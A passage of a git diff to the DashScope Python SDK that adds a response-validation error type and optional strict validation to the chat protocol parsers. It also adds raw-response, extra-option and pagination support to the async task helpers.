_one_line(text: str, limit: int = _STR_FIELD_LIMIT) -> str: + """Collapse whitespace and bound a field destined for ``__str__``. + + Bodies and validation errors are both unbounded and both multiline, + and ``__str__`` joins its fields with `` | `` on one line for logs. + """ + text = " ".join(text.split()) + return text if len(text) <= limit else f"{text[:limit]}..." + + +class APIResponseValidationError(DashScopeError): + """The gateway answered, but its body did not fit the SDK's models. + + Distinct from :class:`APIStatusError` so that ``except + APIStatusError`` keeps meaning "the service refused or broke": here + nothing failed on the wire and the gateway declared no error, the + payload simply could not be parsed into the model the resource + returns. + + Carries ``response`` (``None`` for websocket payloads, which have no + response), ``body`` as received, and ``cause``, the original + validation error. ``status_code`` stays ``None`` even with a + response present: that status is the gateway's and it reported + success, so repeating it here would read as the reason for the + failure. ``response.status_code`` still has it. + + Deliberately no catalog entry -- ``_error_registry.py`` is vendored + from a generator this repo does not carry -- so it roots at + :class:`DashScopeError`, not :class:`SdkError`, whose ``code`` and + ``solution`` would have to name an entry that does not exist. + """ + + def __init__( + self, + message: Optional[str] = None, + *, + response: Optional[httpx.Response] = None, + body: Any = None, + cause: Optional[BaseException] = None, + request_id: Optional[str] = None, + headers: Optional[Mapping[str, str]] = None, + ) -> None: + if headers is None and response is not None: + headers = response.headers + data = _extract(body) + super().__init__( + message or "Response body failed SDK-side validation.", + request_id=request_id or _request_id(data, headers or {}), + body=body, + headers=headers, + ) + self.response = response + self.cause = cause + + def __str__(self) -> str: + parts = [super().__str__()] + if self.cause is not None: + parts.append(f"cause={_one_line(str(self.cause))}") + if self.body is not None: + body = self.body + if not isinstance(body, str): + try: + body = json.dumps(body, ensure_ascii=False, default=str) + except (TypeError, ValueError): + body = repr(body) + parts.append(f"body={_one_line(body)}") + return " | ".join(parts) + + class APIStatusError(DashScopeError): """A failure the gateway declared, on either layer of the model. diff --git a/dashscope/protocols/anthropic.py b/dashscope/protocols/anthropic.py index a9947dea..ae92c5a0 100644 --- a/dashscope/protocols/anthropic.py +++ b/dashscope/protocols/anthropic.py @@ -29,15 +29,28 @@ from __future__ import annotations import json -from typing import Any, Callable, Dict, List, Optional, Tuple, Union +from typing import ( + TYPE_CHECKING, + Any, + Callable, + Dict, + List, + Optional, + Tuple, + Union, +) from dashscope.errors import BadRequestError, DashScopeError, ErrorCode from dashscope.protocols.base import ChatProtocol, ChatRequest +from dashscope.types._parse import parse_model from dashscope.types.completions import ( ChatCompletion, ChatCompletionChunk, ) +if TYPE_CHECKING: + import httpx + __all__ = [ "AnthropicProtocol", ] @@ -361,7 +374,7 @@ def _apply_extra_parameters( body.update(extra_parameters) -def _canonical_usage(usage: Dict[str, Any]) -> Dict[str, Any]: +def _canonical_usage(usage: Any) -> Any: """Usage bag with the derived ``total_tokens`` filled in. Anthropic already spells the canonical counters ``input_tokens`` / @@ -371,15 +384,40 @@ def _canonical_usage(usage: Dict[str, Any]) -> Dict[str, Any]: streaming parser, which accumulates the whole bag across events — reducing it to three numbers would silently drop billing detail the caller cannot recover. + + A bag that is not a mapping is passed through untouched so + ``parse_model`` can degrade the field; ``dict()`` on it here would + raise before the model layer ever saw the drift. """ + if not isinstance(usage, dict): + return usage canonical = dict(usage) - canonical["total_tokens"] = usage.get("input_tokens", 0) + usage.get( - "output_tokens", - 0, - ) + counted = (usage.get("input_tokens", 0), usage.get("output_tokens", 0)) + # Summing a drifted counter (``"input_tokens": "many"``) would raise + # TypeError here, ahead of the model layer that repairs it; leave the + # total absent so ``Usage`` falls back to its own default. + if all(isinstance(value, int) for value in counted): + canonical["total_tokens"] = sum(counted) return canonical +def _merge_usage(accumulated: Dict[str, Any], incoming: Any) -> Any: + """Fold one event's usage bag into the running total. + + A bag that is not a mapping cannot be accumulated, and + ``dict.update()`` on it would raise ``ValueError``/``TypeError`` + mid-stream -- outside any ``except DashScopeError`` the caller has. + It is passed through untouched, the same way ``_canonical_usage`` + does, so ``parse_model`` gets to degrade the field. + """ + if not isinstance(incoming, dict): + return incoming + if not incoming: + return None + accumulated.update(incoming) + return dict(accumulated) + + class _StreamParser: """Per-stream parsing state for Anthropic SSE events. @@ -388,12 +426,33 @@ class _StreamParser: parser instance; sharing one would mix chunks across streams. """ - def __init__(self) -> None: + def __init__( + self, + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, + ) -> None: self._tools: Dict[int, Dict[str, Any]] = {} self._thinking: Dict[int, Dict[str, Any]] = {} self._usage: Dict[str, int] = {} + self._strict_validation = strict_validation + self._response = response - def parse(self, payload: Dict[str, Any]) -> Optional[ChatCompletionChunk]: + def parse( + self, + payload: Dict[str, Any], + *, + strict_validation: Optional[bool] = None, + response: Optional[httpx.Response] = None, + ) -> Optional[ChatCompletionChunk]: + """Translate one SSE event. + + ``strict_validation=None`` keeps the mode this parser was built + with: it holds per-stream accumulation state, so a sequential + caller that wants a different mode for one event overrides it + here instead of forcing a fresh (stateless) parser. ``response`` + overrides the same way, and only feeds a strict-mode failure. + """ handlers = { "message_start": self._message_start, "content_block_start": self._block_start, @@ -414,15 +473,22 @@ def parse(self, payload: Dict[str, Any]) -> Optional[ChatCompletionChunk]: return None request_id, model, choices, usage = parsed if usage is not None: - usage["total_tokens"] = usage.get( - "input_tokens", - 0, - ) + usage.get("output_tokens", 0) - return ChatCompletionChunk( - request_id=request_id, - model=model, - choices=choices, - usage=usage, + usage = _canonical_usage(usage) + strict = ( + self._strict_validation + if strict_validation is None + else strict_validation + ) + return parse_model( + ChatCompletionChunk, + { + "request_id": request_id, + "model": model, + "choices": choices, + "usage": usage, + }, + strict=strict, + response=response if response is not None else self._response, ) def _message_start(self, payload: Dict[str, Any]): @@ -430,11 +496,7 @@ def _message_start(self, payload: Dict[str, Any]): self._tools = {} self._thinking = {} self._usage = {} - usage: Optional[Dict[str, Any]] = None - start_usage = message.get("usage") or {} - if start_usage: - self._usage.update(start_usage) - usage = dict(self._usage) + usage = _merge_usage(self._usage, message.get("usage")) return ( message.get("id") or payload.get("id"), message.get("model") or payload.get("model"), @@ -544,12 +606,8 @@ def _cumulative_thinking_blocks(self) -> List[Dict[str, Any]]: def _message_delta(self, payload: Dict[str, Any]): choices: List[Dict[str, Any]] = [] - usage: Optional[Dict[str, Any]] = None stop_reason = (payload.get("delta") or {}).get("stop_reason") - end_usage = payload.get("usage") or {} - if end_usage: - self._usage.update(end_usage) - usage = dict(self._usage) + usage = _merge_usage(self._usage, payload.get("usage")) if stop_reason is not None: choices.append( { @@ -592,9 +650,15 @@ def __init__(self, *, strict: bool = False) -> None: def make_chunk_parser( self, + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> Callable[[Dict[str, Any]], Optional[ChatCompletionChunk]]: """Return a fresh parser so concurrent streams stay isolated.""" - return _StreamParser().parse + return _StreamParser( + strict_validation=strict_validation, + response=response, + ).parse def build_chat_request( self, @@ -703,12 +767,23 @@ def build_chat_request( headers={"anthropic-version": self.API_VERSION}, ) - def parse_completion(self, payload: Dict[str, Any]) -> ChatCompletion: + def parse_completion( + self, + payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, + ) -> ChatCompletion: text_parts: List[str] = [] thinking_parts: List[str] = [] thinking_blocks: List[Dict[str, Any]] = [] tool_calls: List[Dict[str, Any]] = [] for block in payload.get("content") or []: + if not isinstance(block, dict): + # ``block.get`` on a drifted element (a bare string) + # would escape as an AttributeError before parse_model + # ever saw the body; there is nothing to translate. + continue if block.get("type") == "text": text_parts.append(block.get("text", "")) elif block.get("type") == "thinking": @@ -755,26 +830,38 @@ def parse_completion(self, payload: Dict[str, Any]) -> ChatCompletion: message["tool_calls"] = tool_calls stop_reason = payload.get("stop_reason") usage = payload.get("usage") or {} - return ChatCompletion( - request_id=payload.get("id"), - model=payload.get("model"), - choices=[ - { - "index": 0, - "finish_reason": _STOP_REASON_MAP.get( - stop_reason, - stop_reason, - ), - "message": message, - }, - ], - usage=_canonical_usage(usage) if usage else None, + return parse_model( + ChatCompletion, + { + "request_id": payload.get("id"), + "model": payload.get("model"), + "choices": [ + { + "index": 0, + "finish_reason": _STOP_REASON_MAP.get( + stop_reason, + stop_reason, + ), + "message": message, + }, + ], + "usage": _canonical_usage(usage) if usage else None, + }, + strict=strict_validation, + response=response, ) def parse_chunk( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> Optional[ChatCompletionChunk]: # Sequential convenience path for direct calls; resources take # a per-stream parser from make_chunk_parser() instead. - return self._default_parser.parse(payload) + return self._default_parser.parse( + payload, + strict_validation=strict_validation, + response=response, + ) diff --git a/dashscope/protocols/base.py b/dashscope/protocols/base.py index 05ebdd85..b9496d72 100644 --- a/dashscope/protocols/base.py +++ b/dashscope/protocols/base.py @@ -8,6 +8,7 @@ from __future__ import annotations +import functools from abc import ABC, abstractmethod from dataclasses import dataclass, field from typing import ( @@ -24,6 +25,8 @@ if TYPE_CHECKING: # Annotation-only: avoid importing resources at runtime, which would # cycle back through completions.py into this partially-loaded module. + import httpx + from dashscope.types.completions import ( ChatCompletion, ChatCompletionChunk, @@ -104,24 +107,51 @@ def build_chat_request( def parse_completion( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> ChatCompletion: - """Translate a non-streaming response body.""" + """Translate a non-streaming response body. + + ``strict_validation`` raises on a body that does not fit the + typed model instead of degrading it; it is unrelated to + :attr:`strict`, which governs *request* construction. + ``response`` is only carried onto that raised error, so the + caller can inspect the status and headers of the body that + failed; websocket payloads have none and leave it ``None``. + """ @abstractmethod def parse_chunk( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> Optional[ChatCompletionChunk]: """Translate one streaming event body; ``None`` skips the event (keepalives and control frames carry no user-facing content).""" def make_chunk_parser( self, + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> Callable[[Dict[str, Any]], Optional[ChatCompletionChunk]]: """Return the chunk parser for one new stream. Stateless adapters reuse ``parse_chunk``; stateful adapters (e.g. anthropic tool-use accumulation) return a fresh parser per stream so concurrent streams never share state. + + The returned callable takes only the payload, so the validation + mode and the response a strict failure should carry are bound + here rather than passed per event. """ - return self.parse_chunk + if not strict_validation and response is None: + return self.parse_chunk + return functools.partial( + self.parse_chunk, + strict_validation=strict_validation, + response=response, + ) diff --git a/dashscope/protocols/native.py b/dashscope/protocols/native.py index f3135316..1da12d42 100644 --- a/dashscope/protocols/native.py +++ b/dashscope/protocols/native.py @@ -4,7 +4,7 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union +from typing import TYPE_CHECKING, Any, Dict, List, Optional, Union from dashscope.protocols.base import ChatProtocol, ChatRequest from dashscope.types.completions import ( @@ -14,6 +14,9 @@ parse_completion, ) +if TYPE_CHECKING: + import httpx + __all__ = [ "NativeProtocol", ] @@ -166,11 +169,25 @@ def build_chat_request( def parse_completion( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> ChatCompletion: - return parse_completion(payload) + return parse_completion( + payload, + strict_validation=strict_validation, + response=response, + ) def parse_chunk( self, payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> ChatCompletionChunk: - return parse_chunk(payload) + return parse_chunk( + payload, + strict_validation=strict_validation, + response=response, + ) diff --git a/dashscope/protocols/openai.py b/dashscope/protocols/openai.py index 049ad6a9..bdfefaa5 100644 --- a/dashscope/protocols/openai.py +++ b/dashscope/protocols/openai.py @@ -11,15 +11,20 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union +from typing import TYPE_CHECKING, Any, Dict, List, Optional, Union from dashscope.errors import DashScopeError from dashscope.protocols.base import ChatProtocol, ChatRequest +from dashscope.types._parse import parse_model from dashscope.types.completions import ( ChatCompletion, ChatCompletionChunk, + _normalize_message_content, ) +if TYPE_CHECKING: + import httpx + __all__ = [ "OpenAIProtocol", ] @@ -143,13 +148,31 @@ def _translate_usage(usage: Optional[Dict[str, Any]]) -> Dict[str, Any]: } translated["input_tokens"] = usage.get("prompt_tokens", 0) translated["output_tokens"] = usage.get("completion_tokens", 0) - translated.setdefault( - "total_tokens", - translated["input_tokens"] + translated["output_tokens"], - ) + if "total_tokens" not in translated: + counted = (translated["input_tokens"], translated["output_tokens"]) + # Summing a drifted counter (``"prompt_tokens": "many"``) would + # raise TypeError here, ahead of the model layer that repairs it; + # leave the field absent and let Usage fall back to its default. + if all(isinstance(value, int) for value in counted): + translated["total_tokens"] = sum(counted) return translated +def _canonical_usage(raw: Any) -> Any: + """Translate a usage bag, or pass a drifted one through untouched. + + ``_translate_usage`` indexes into a mapping; a gateway that retyped + the bag would raise ``AttributeError`` here, before ``parse_model`` + got the chance to degrade the field to ``None``. Handing the raw + value on keeps the repair in the model layer, where it is logged. + """ + if not raw: + return None + if isinstance(raw, dict): + return _translate_usage(raw) + return raw + + class OpenAIProtocol(ChatProtocol): """Adapter for ``POST /chat/completions`` (OpenAI-compatible).""" @@ -235,31 +258,60 @@ def build_chat_request( body.update(unknown) return ChatRequest(path=path or self.PATH, body=body) - def parse_completion(self, payload: Dict[str, Any]) -> ChatCompletion: - return ChatCompletion( - request_id=payload.get("request_id") or payload.get("id"), - model=payload.get("model"), - choices=payload.get("choices") or [], - usage=( - _translate_usage(payload["usage"]) - if payload.get("usage") - else None - ), + def parse_completion( + self, + payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, + ) -> ChatCompletion: + choices = [] + for raw in payload.get("choices") or []: + if isinstance(raw, dict): + raw = dict(raw) + message = raw.get("message") + if isinstance(message, dict): + raw["message"] = _normalize_message_content(message) + choices.append(raw) + return parse_model( + ChatCompletion, + { + "request_id": payload.get("request_id") or payload.get("id"), + "model": payload.get("model"), + "choices": choices, + "usage": _canonical_usage(payload.get("usage")), + }, + strict=strict_validation, + response=response, ) - def parse_chunk(self, payload: Dict[str, Any]) -> ChatCompletionChunk: + def parse_chunk( + self, + payload: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, + ) -> ChatCompletionChunk: choices = [] for raw in payload.get("choices") or []: - raw = dict(raw) - raw.setdefault("delta", {}) + # A non-mapping element has no ``delta`` to default, and + # ``dict()`` on it would escape as a bare ValueError. + # Keeping the slot preserves positional alignment for + # parse_model to repair in place. + if isinstance(raw, dict): + raw = dict(raw) + raw.setdefault("delta", {}) + if isinstance(raw["delta"], dict): + raw["delta"] = _normalize_message_content(raw["delta"]) choices.append(raw) - return ChatCompletionChunk( - request_id=payload.get("request_id") or payload.get("id"), - model=payload.get("model"), - choices=choices, - usage=( - _translate_usage(payload["usage"]) - if payload.get("usage") - else None - ), + return parse_model( + ChatCompletionChunk, + { + "request_id": payload.get("request_id") or payload.get("id"), + "model": payload.get("model"), + "choices": choices, + "usage": _canonical_usage(payload.get("usage")), + }, + strict=strict_validation, + response=response, ) diff --git a/dashscope/resources/_jobs.py b/dashscope/resources/_jobs.py index be8dd1f9..f99b089c 100644 --- a/dashscope/resources/_jobs.py +++ b/dashscope/resources/_jobs.py @@ -13,16 +13,34 @@ import asyncio import time -from typing import Any, Awaitable, Callable, Dict, List, Optional, Union +from typing import ( + TYPE_CHECKING, + Any, + Awaitable, + Callable, + Dict, + List, + Mapping, + Optional, + Union, + cast, +) -from pydantic import AliasChoices, BaseModel, ConfigDict, Field +from pydantic import ( + AliasChoices, + BaseModel, + ConfigDict, + Field, + PrivateAttr, +) from dashscope.errors import ( DashScopeError, - check_response, error_from_business_code, response_json, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -30,6 +48,12 @@ response_envelope, with_headers, ) +from dashscope.types.pagination import BasePage + +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse __all__ = [ "AsyncJobs", @@ -133,6 +157,13 @@ class Job(ResponseBase): output: Optional[Dict[str, Any]] = None usage: Optional[Usage] = None + # ``output`` is an untyped dict, so the parse boundary that built this + # Job validates the envelope but never looks inside it. Carrying the + # mode here is what lets ``results`` be as strict as that boundary was, + # instead of silently degrading under ``strict_validation=True``. + _strict_validation: bool = PrivateAttr(default=False) + _response: Optional["httpx.Response"] = PrivateAttr(default=None) + @property def job_id(self) -> str: """``FineTune`` spells the same identifier ``job_id``.""" @@ -148,10 +179,30 @@ def finished(self) -> bool: @property def results(self) -> List[JobResult]: - items = (self.output or {}).get("results") or [] + """Artifacts the task produced. + + Parsed with the strictness and the response this Job was built + with (see :meth:`from_payload`), so under ``strict_validation`` + a drifted artifact raises here rather than degrading to ``None``. + A Job built directly rather than through ``from_payload`` has + neither and gets the lenient default. + """ + output = self.output or {} + items = output.get("results") + if not isinstance(items, list): + items = [] if not items: - items = _image_choices(self.output or {}) - return [JobResult(**item) for item in items if isinstance(item, dict)] + items = _image_choices(output) + return [ + parse_model( + JobResult, + item, + strict=self._strict_validation, + response=self._response, + ) + for item in items + if isinstance(item, dict) + ] @property def image_urls(self) -> List[str]: @@ -171,40 +222,85 @@ def result_url(self) -> Optional[str]: return output.get("url") or self.video_url @classmethod - def from_payload(cls, body: Dict[str, Any]) -> "Job": + def from_payload( + cls, + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, + ) -> "Job": output = body.get("output") payload = flatten_envelope(body) payload["output"] = output if isinstance(output, dict) else None if not isinstance(payload.get("usage"), dict): payload.pop("usage", None) - return cls(**payload) + job = parse_model( + cls, + payload, + strict=strict, + response=response, + ) + # Post-hoc: private attrs are not fields, so parse_model cannot + # carry them through validation or through its construct fallback. + # pylint: disable=protected-access + job._strict_validation = strict + job._response = response + # pylint: enable=protected-access + return job -class JobList(ResponseBase): +class JobList(BasePage[Job]): """One page of async tasks, from ``jobs.list`` (1.x ``GET /tasks``). Each entry in ``tasks`` parses with the same aliases as a fetched :class:`Job`; a FAILED task inside the list is data, not an error. + + ``page_no`` / ``page_size`` / ``total_count`` come from + :class:`~dashscope.types.pagination.BasePage`; iterate the page directly + or cross pages with ``iter_pages()`` / ``next_page()``. The wire reports + the total as ``total``, which is aliased onto ``total_count`` and also + readable through the :attr:`total` property. """ - page_no: int = 1 - page_size: int = 10 - total: int = 0 tasks: List[Job] = [] + @property + def items(self) -> List[Job]: + return self.tasks + + @property + def total(self) -> int: + """Alias of ``total_count``, keeping the historical field name readable.""" + return self.total_count + @classmethod - def from_payload(cls, body: Dict[str, Any]) -> "JobList": + def from_payload( + cls, + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, + ) -> "JobList": # The list endpoint answers flat (no ``output`` wrapper), but # flatten_envelope also accepts an output-wrapped variant. data = flatten_envelope(body) - tasks = data.pop("tasks", None) or [] + tasks = data.pop("tasks", None) + # A retyped ``tasks`` would blow up in the comprehension below, + # ahead of the model layer that repairs the field. + if not isinstance(tasks, list): + tasks = [] items = [task for task in tasks if isinstance(task, dict)] - return cls( - page_no=data.get("page_no", 1), - page_size=data.get("page_size", 10), - total=data.get("total", len(items)), - tasks=items, - **response_envelope(data), + return parse_model( + cls, + { + "page_no": data.get("page_no", 1), + "page_size": data.get("page_size", 10), + "total_count": data.get("total", len(items)), + "tasks": items, + **response_envelope(data), + }, + strict=strict, + response=response, ) @@ -234,7 +330,15 @@ def _list_params( class Jobs: - """Sync async-task helper for one service (images, videos, ...).""" + """Sync async-task helper for one service (images, videos, ...). + + ``raw`` is a plain ``bool`` here, not a ``Literal`` overload pair: this + class is only ever held in a resource's private attribute, and every + public ``.jobs`` wrapper (``ImageJobs``, ``VideoJobs``, ``EmbeddingJobs``, + ``TranscriptionJobs``) carries the overloads that give callers a precise + return type. Overloading this one instead would leave the wrappers unable + to forward a ``raw`` they only know at runtime. + """ def __init__( self, @@ -263,8 +367,18 @@ def create( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Job: - """Submit a task; returns immediately with a PENDING/RUNNING Job.""" + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a task; returns immediately with a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body: Dict[str, Any] = {"model": model, "input": input} if parameters is not None: body["parameters"] = parameters @@ -273,7 +387,7 @@ def create( # pylint: disable=redefined-builtin submit_headers = dict(ASYNC_HEADER) if headers: submit_headers.update(headers) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", self.submit_path, json=body, @@ -282,9 +396,18 @@ def create( # pylint: disable=redefined-builtin sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) def fetch( self, @@ -293,18 +416,38 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Job: - """Fetch one task snapshot; raises on FAILED status.""" - response = self._client.transport.request( + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot; raises on FAILED status. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + FAILED-status raise, which belongs to the parsed :class:`Job`. + """ + resp = self._client.transport.request_api( "GET", f"/tasks/{task_id}", timeout=timeout, sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) def cancel( self, @@ -313,18 +456,37 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Job: - """Cancel a PENDING task (1.x: ``POST /tasks/{task_id}/cancel``).""" - response = self._client.transport.request( + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (1.x: ``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "POST", f"/tasks/{task_id}/cancel", timeout=timeout, sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) def list( # pylint: disable=redefined-builtin self, @@ -340,9 +502,21 @@ def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> JobList: - """List async tasks (1.x: ``GET /tasks`` with page_no/page_size).""" - response = self._client.transport.request( + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (1.x: ``GET /tasks`` with page_no/page_size). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. Such a response + carries no pagination callback; use ``next_page()`` on a parsed + :class:`JobList` to walk the catalog. + """ + resp = self._client.transport.request_api( "GET", "/tasks", params=_list_params( @@ -359,12 +533,44 @@ def list( # pylint: disable=redefined-builtin sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers( - JobList.from_payload(response_json(response)), - response, + if raw: + return resp + resp.raise_for_status() + result = JobList.from_payload( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, ) + result.bind_pagination( + lambda next_no, next_size: self.list( + start_time=start_time, + end_time=end_time, + model_name=model_name, + api_key_id=api_key_id, + region=region, + status=status, + page_no=next_no, + page_size=next_size, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), + requested_page_no=page_no, + requested_page_size=page_size, + ) + return with_headers(result, resp.http_response) def wait( self, @@ -375,6 +581,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: """Poll with exponential backoff until the task finishes. @@ -394,10 +604,24 @@ def wait( task_id = job.task_id if isinstance(job, Job) else job sleep_fn = _sleep or time.sleep deadline = time.monotonic() + timeout - current = ( + # ``wait`` never sets ``raw``, so every ``fetch`` below is a Job. + # ``fetch``'s declared return is the wider union only because it also + # serves the raw escape hatch. + current: Job = ( job if isinstance(job, Job) - else self.fetch(task_id, api_key=api_key, workspace=workspace) + else cast( + Job, + self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), + ) ) interval = poll_interval while not current.finished: @@ -413,12 +637,30 @@ def wait( ) sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = self.fetch(task_id, api_key=api_key, workspace=workspace) + current = cast( + Job, + self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), + ) return self._check_canceled(current) def _parse(self, response: Any) -> Job: payload = response_json(response) - job = with_headers(Job.from_payload(payload), response) + job = with_headers( + Job.from_payload( + payload, + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) if job.status == FAILED and self._client.raise_on_error: raise error_from_business_code( message=job.message or f"task {job.task_id} failed", @@ -438,7 +680,10 @@ def _check_canceled(self, job: Job) -> Job: class AsyncJobs: - """Async async-task helper for one service (images, videos, ...).""" + """Async async-task helper for one service (images, videos, ...). + + ``raw`` is a plain ``bool`` here for the reason given on :class:`Jobs`. + """ def __init__( self, @@ -465,7 +710,13 @@ async def create( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Job: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Async twin of :meth:`Jobs.create`.""" body: Dict[str, Any] = {"model": model, "input": input} if parameters is not None: body["parameters"] = parameters @@ -474,7 +725,7 @@ async def create( # pylint: disable=redefined-builtin submit_headers = dict(ASYNC_HEADER) if headers: submit_headers.update(headers) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", self.submit_path, json=body, @@ -483,9 +734,18 @@ async def create( # pylint: disable=redefined-builtin sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) async def fetch( self, @@ -494,17 +754,32 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Job: - response = await self._client.transport.request( + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Async twin of :meth:`Jobs.fetch`.""" + resp = await self._client.transport.request_api( "GET", f"/tasks/{task_id}", timeout=timeout, sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) async def cancel( self, @@ -513,18 +788,32 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Job: - """Cancel a PENDING task (1.x: ``POST /tasks/{task_id}/cancel``).""" - response = await self._client.transport.request( + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Async twin of :meth:`Jobs.cancel`.""" + resp = await self._client.transport.request_api( "POST", f"/tasks/{task_id}/cancel", timeout=timeout, sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return 